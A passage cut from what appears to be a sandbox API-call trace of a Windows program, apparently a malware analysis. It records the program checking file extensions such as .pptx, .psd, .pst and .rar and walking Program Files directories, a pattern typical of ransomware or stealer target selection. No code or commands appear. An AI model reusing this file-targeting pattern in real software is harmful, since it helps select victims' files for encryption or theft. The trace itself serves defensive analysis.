lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".potm") returned 5 [0265.377] lstrcmpiW (lpString1=".potm", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".potx") returned 5 [0265.377] lstrcmpiW (lpString1=".potx", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".ppa") returned 4 [0265.377] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".ppam") returned 5 [0265.377] lstrcmpiW (lpString1=".ppam", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".ppm") returned 4 [0265.377] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".pps") returned 4 [0265.377] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".ppsm") returned 5 [0265.377] lstrcmpiW (lpString1=".ppsm", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".ppt") returned 4 [0265.377] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".pptm") returned 5 [0265.377] lstrcmpiW (lpString1=".pptm", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".pptx") returned 5 [0265.377] lstrcmpiW (lpString1=".pptx", lpString2="n.dll") returned -1 [0265.377] lstrlenW (lpString=".prn") returned 4 [0265.377] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".ps") returned 3 [0265.377] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0265.377] lstrlenW (lpString=".psb") returned 4 [0265.377] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".psd") returned 4 [0265.377] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".pst") returned 4 [0265.377] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".ptx") returned 4 [0265.377] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0265.377] lstrlenW (lpString=".pub") returned 4 [0265.377] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".pwm") returned 4 [0265.378] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".pxr") returned 4 [0265.378] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".py") returned 3 [0265.378] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0265.378] lstrlenW (lpString=".qt") returned 3 [0265.378] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0265.378] lstrlenW (lpString=".r3d") returned 4 [0265.378] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".raf") returned 4 [0265.378] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".rar") returned 4 [0265.378] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0265.378] lstrlenW (lpString=".raw") returned 4 [0265.378] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0265.378] RtlpDeCommitFreeBlock () [0265.378] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0265.378] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.379] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0265.379] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46051a0 | out: hHeap=0x540000) returned 1 [0265.379] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0265.379] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.379] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.379] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0265.381] RtlpDeCommitFreeBlock () [0265.381] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0265.381] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46051a0 | out: hHeap=0x540000) returned 1 [0265.381] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0265.381] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.381] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.381] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0265.381] RtlpDeCommitFreeBlock () [0265.381] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0265.382] RtlpDeCommitFreeBlock () [0265.382] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.382] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.382] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0265.382] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46051a0 | out: hHeap=0x540000) returned 1 [0265.382] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0265.382] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.382] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.382] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0265.397] RtlpDeCommitFreeBlock () [0265.397] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0265.398] RtlpDeCommitFreeBlock () [0265.398] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0265.401] RtlpDeCommitFreeBlock () [0265.401] FindNextFileW (in: hFindFile=0x45a8168, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0265.402] RtlpDeCommitFreeBlock () [0265.402] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.402] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0265.402] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4588140 | out: hHeap=0x540000) returned 1 [0265.403] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0265.403] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0265.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46051a0 | out: hHeap=0x540000) returned 1 [0265.403] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0265.403] FindClose (in: hFindFile=0x63edc8 | out: hFindFile=0x63edc8) returned 1 [0265.403] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.403] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0265.403] RtlpDeCommitFreeBlock () [0265.403] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0265.404] RtlpDeCommitFreeBlock () [0265.404] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0265.405] RtlpDeCommitFreeBlock () [0265.405] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0265.408] RtlpDeCommitFreeBlock () [0265.408] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0265.412] RtlpDeCommitFreeBlock () [0265.412] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0265.412] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.412] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0265.412] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0265.413] RtlpDeCommitFreeBlock () [0265.413] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0265.414] RtlpDeCommitFreeBlock () [0265.414] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0265.417] RtlpDeCommitFreeBlock () [0265.417] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0265.417] RtlpDeCommitFreeBlock () [0265.417] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0265.419] RtlpDeCommitFreeBlock () [0265.419] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0265.421] RtlpDeCommitFreeBlock () [0265.422] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0265.422] RtlpDeCommitFreeBlock () [0265.422] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0265.422] RtlpDeCommitFreeBlock () [0265.422] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0265.423] RtlpDeCommitFreeBlock () [0265.423] FindNextFileW (in: hFindFile=0x63ecc8, lpFindFileData=0x372fa84 | out: lpFindFileData=0x372fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7efd01f0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7efd01f0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0265.423] RtlpDeCommitFreeBlock () [0265.423] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0265.423] RtlpDeCommitFreeBlock () [0265.423] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178d0de0, ftCreationTime.dwHighDateTime=0x1d4fae2, ftLastAccessTime.dwLowDateTime=0xad85c420, ftLastAccessTime.dwHighDateTime=0x1d4b089, ftLastWriteTime.dwLowDateTime=0xad85c420, ftLastWriteTime.dwHighDateTime=0x1d4b089, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="achieving.exe", cAlternateFileName="ACHIEV~1.EXE")) returned 1 [0265.424] RtlpDeCommitFreeBlock () [0265.425] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, 